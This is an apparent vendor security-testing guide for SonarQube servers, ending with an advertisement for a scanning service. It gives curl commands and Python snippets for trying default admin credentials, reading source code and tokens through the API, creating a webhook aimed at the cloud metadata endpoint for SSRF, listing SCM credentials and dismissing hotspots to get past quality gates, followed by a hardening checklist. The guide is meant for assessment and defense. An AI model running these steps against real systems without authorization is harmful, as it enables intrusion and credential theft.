SonarQube Security Testing: Token Exposure, Webhook Abuse, SCM Credential Theft, and Admin Console Access

SonarQube is installed in nearly every engineering organization as the primary SAST tool, which makes it an extremely high-value target: it stores source code, SCM credentials, CI/CD tokens, and security findings for every codebase it analyzes. Default admin/admin credentials are still common in production deployments. The REST API exposes project tokens in CI pipelines. Webhooks can be weaponized for SSRF. Unauthenticated access to community edition instances is a persistent issue. This guide covers systematic SonarQube security assessment.

Table of Contents

  1. Authentication and Default Credentials
  2. REST API Security Testing
  3. User Token Exposure
  4. Webhook SSRF and Secret Exfiltration
  5. SCM Credential Theft
  6. Quality Gate Bypass
  7. Plugin Security
  8. SonarQube Security Hardening

Authentication and Default Credentials

# Default SonarQube credentials: admin/admin
# Check across all common ports
curl -s -u admin:admin "http://TARGET:9000/api/system/status"
curl -s -u admin:admin "http://TARGET/api/system/status"

# If authenticated:
curl -s -u admin:admin "http://TARGET:9000/api/system/info" | python3 -c "
import json,sys
info = json.load(sys.stdin)
print('Version:', info.get('System',{}).get('Version','?'))
print('DB:', info.get('Database',{}).get('Database URL','?'))
# Database URL may contain credentials
"

# Check for force authentication setting (Community Edition default)
# When forceAuthentication is false → all users can browse projects without login
curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication"
curl -s "http://TARGET:9000/api/projects/search" | python3 -c "
import json,sys
try:
    data = json.load(sys.stdin)
    projects = data.get('components', [])
    print(f'Unauthenticated project listing: {len(projects)} projects visible')
    for p in projects[:5]:
        print(f\"  {p['key']}: {p['name']}\")
except: print('Auth required or error')
"

# SonarQube Community Edition often has forceAuthentication: false by default
# meaning anyone can read all project analysis results without authentication

REST API Security Testing

# SonarQube REST API provides comprehensive access to analysis data
# Enumerate accessible endpoints without authentication

# Get all projects (if forceAuthentication is disabled)
curl -s "http://TARGET:9000/api/projects/search?ps=100" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Total projects: {data.get('paging',{}).get('total',0)}\")
for p in data.get('components',[]):
    print(f\"  {p['key']}: {p['name']} - last analysis: {p.get('lastAnalysisDate','never')}\")
"

# Get security issues / hotspots for a project
curl -s "http://TARGET:9000/api/hotspots/search?projectKey=TARGET_PROJECT&ps=100" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for h in data.get('hotspots',[]):
    print(f\"Hotspot: {h['message']}\")
    print(f\"  File: {h['component']} Line: {h['line']}\")
    print(f\"  Status: {h['status']} Severity: {h.get('vulnerabilityProbability','?')}\")
"
# This reveals security vulnerabilities in the scanned codebase

# Get source code for any file in an analyzed project
curl -s "http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/SensitiveFile.java"
# Full source code accessible via API if project is public

# Search for hardcoded secrets in security hotspots
curl -s "http://TARGET:9000/api/issues/search?types=SECURITY_HOTSPOT&rules=java:S6437,java:S2068&ps=100" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for issue in data.get('issues',[]):
    print(f\"Potential secret: {issue['message']}\")
    print(f\"  File: {issue['component']} Line: {issue.get('line','?')}\")
"

User Token Exposure

# SonarQube user tokens are used in CI/CD pipelines via SONAR_TOKEN
# Tokens have the same permissions as the user who created them
# If CI pipeline logs or env vars are exposed, tokens can be used for API access

# Test a CI token against the API
SONAR_TOKEN="your_leaked_token_here"
curl -s -u "${SONAR_TOKEN}:" "http://TARGET:9000/api/authentication/validate"

# With a valid token: enumerate all projects the token can access
curl -s -u "${SONAR_TOKEN}:" "http://TARGET:9000/api/projects/search" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for p in data.get('components',[]):
    print(f\"{p['key']}: {p['name']}\")
"

# Check if token has admin privileges
curl -s -u "${SONAR_TOKEN}:" "http://TARGET:9000/api/users/current" | \
  python3 -c "
import json,sys
user = json.load(sys.stdin)
print(f\"User: {user.get('login','?')} Admin: {user.get('local',False)}\")
groups = user.get('groups',[])
print(f\"Groups: {groups}\")
if 'sonar-administrators' in groups: print('[!] TOKEN HAS ADMIN ACCESS')
"

# Enumerate user tokens via admin API
curl -s -u admin:admin "http://TARGET:9000/api/user_tokens/search?login=admin" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for t in data.get('userTokens',[]):
    print(f\"Token: {t['name']} - created: {t['createdAt']} - last use: {t.get('lastConnectionDate','never')}\")
"

Webhook SSRF and Secret Exfiltration

# SonarQube webhooks send POST requests to configured URLs after each analysis
# An attacker with admin access can configure webhooks pointing to internal services

# Check existing webhook configurations
curl -s -u admin:admin "http://TARGET:9000/api/webhooks/list" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for wh in data.get('webhooks',[]):
    print(f\"Webhook: {wh['name']}\")
    print(f\"  URL: {wh['url']}\")
    print(f\"  Secret: {'SET' if wh.get('hasSecret') else 'NOT SET'}\")
    print(f\"  Last delivery: {wh.get('latestDelivery',{}).get('at','never')}\")
"

# SSRF test: configure webhook to internal endpoint
curl -s -u admin:admin -X POST "http://TARGET:9000/api/webhooks/create" \
  --data-urlencode "name=SSRF Test" \
  --data-urlencode "url=http://169.254.169.254/latest/meta-data/" \
  --data-urlencode "project=TARGET_PROJECT"

# Trigger analysis to fire the webhook
# Or: manually trigger delivery from admin console

# Check webhook delivery history for SSRF response
curl -s -u admin:admin "http://TARGET:9000/api/webhooks/deliveries?webhook=WEBHOOK_KEY" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for d in data.get('deliveries',[]):
    print(f\"Delivery: {d.get('at','?')} httpStatus: {d.get('httpStatus','?')}\")
    print(f\"  Duration: {d.get('durationMs','?')}ms\")
    # Non-404 HTTP status for internal endpoints = SSRF confirmed
"

SCM Credential Theft

# SonarQube stores SCM (GitHub, GitLab, Bitbucket) integration credentials
# in its database and internal settings — accessible via admin API

# Check for ALM (Application Lifecycle Management) integrations
curl -s -u admin:admin "http://TARGET:9000/api/alm_settings/list" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for alm in data.get('almSettings',[]):
    print(f\"ALM: {alm.get('key','?')} type: {alm.get('alm','?')}\")
    print(f\"  URL: {alm.get('url','?')}\")
    # GitHub: stores GitHub App private key or PAT
    # GitLab: stores personal access token
    # Azure DevOps: stores PAT with code read scope
"

# GitHub/GitLab token access via internal settings
# Admin can read configured tokens through:
curl -s -u admin:admin "http://TARGET:9000/api/settings/values?keys=sonar.alm.github.appPrivateKey.secured"
# 'secured' values are masked in API but may be retrieved via exploiting OGNL injection
# CVE-2021-43959 (SonarQube < 9.2): OGNL injection via URL parameters
# Allows reading arbitrary files and settings

# Check SonarQube version for known CVEs
curl -s "http://TARGET:9000/api/server/version"
# < 8.9.9 LTS or < 9.4 → vulnerable to multiple CVEs
# CVE-2021-43959: OGNL injection → SSRF + settings read
# CVE-2022-0981: Open redirect
# CVE-2023-28690: XSS in project names

Quality Gate Bypass

# Quality Gates are configured in SonarQube to block merges/deployments
# An attacker who can modify quality gates or analysis results
# could approve code with known vulnerabilities

# Enumerate quality gates
curl -s -u admin:admin "http://TARGET:9000/api/qualitygates/list" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for qg in data.get('qualitygates',[]):
    print(f\"Gate: {qg['name']} {'(default)' if qg.get('isDefault') else ''}\")
    for cond in qg.get('conditions',[]):
        print(f\"  Condition: {cond['metric']} {cond['op']} {cond.get('error','?')}\")
"

# Check if sonar.qualitygate.wait is enforced in CI
# If wait=false: CI pipeline doesn't wait for quality gate result
# → code is deployed before analysis completes

# Test quality gate bypass via mark-as-resolved on security hotspots
# An admin can mark CRITICAL security hotspots as 'SAFE' without fixing them
curl -s -u admin:admin -X POST "http://TARGET:9000/api/hotspots/change_status" \
  --data "hotspot=HOTSPOT_KEY&status=REVIEWED&resolution=SAFE"
# Now the hotspot no longer counts against the quality gate
# Without audit trail review, this bypass is invisible

# Check permission model: who can review/resolve hotspots?
curl -s -u admin:admin "http://TARGET:9000/api/permissions/search_global_permissions" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for perm in data.get('permissions',[]):
    print(f\"Permission: {perm['key']} users: {perm.get('usersCount',0)} groups: {perm.get('groupsCount',0)}\")
"

Plugin Security

# SonarQube plugins run in the same JVM process as the server
# A malicious or compromised plugin can access all SonarQube data

# List installed plugins
curl -s -u admin:admin "http://TARGET:9000/api/plugins/installed" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for p in data.get('plugins',[]):
    print(f\"Plugin: {p['key']} v{p.get('version','?')}\")
    print(f\"  Name: {p['name']}\")
    print(f\"  License: {p.get('license','?')}\")
    # Check for unofficial or unknown plugins
    if not p.get('organizationUrl','').startswith('https://www.sonarsource.com'):
        print(f\"  [?] Non-official plugin: {p.get('organizationUrl','unknown')}\")
"

# Check available updates — outdated plugins may have vulnerabilities
curl -s -u admin:admin "http://TARGET:9000/api/plugins/updates" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for p in data.get('plugins',[]):
    print(f\"Update available: {p['key']} → {p.get('update',{}).get('version','?')}\")
"

SonarQube Security Hardening

SonarQube Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credentialscurl -u admin:admin /api/system/statusCritical
Unauthenticated project browsingcurl /api/projects/search without authCritical
Source code read via APIcurl /api/sources/raw?key=FILE_KEYHigh
Webhook SSRF to internal servicesConfigure webhook to cloud metadata URLHigh
CVE-2021-43959 OGNL injectionCheck version < 9.2, test OGNL in URL paramHigh
CI token over-privilegedTest token against admin-only endpointsHigh
Quality gate bypass via hotspot dismissMark CRITICAL hotspot as SAFE, check gateMedium

Automate SonarQube Security Testing

Ironimo tests your SonarQube deployment for default credential exposure, unauthenticated API access, webhook SSRF vectors, token privilege scope, and known CVEs — ensuring your SAST tool isn't itself the biggest security risk in your pipeline.

Start free scan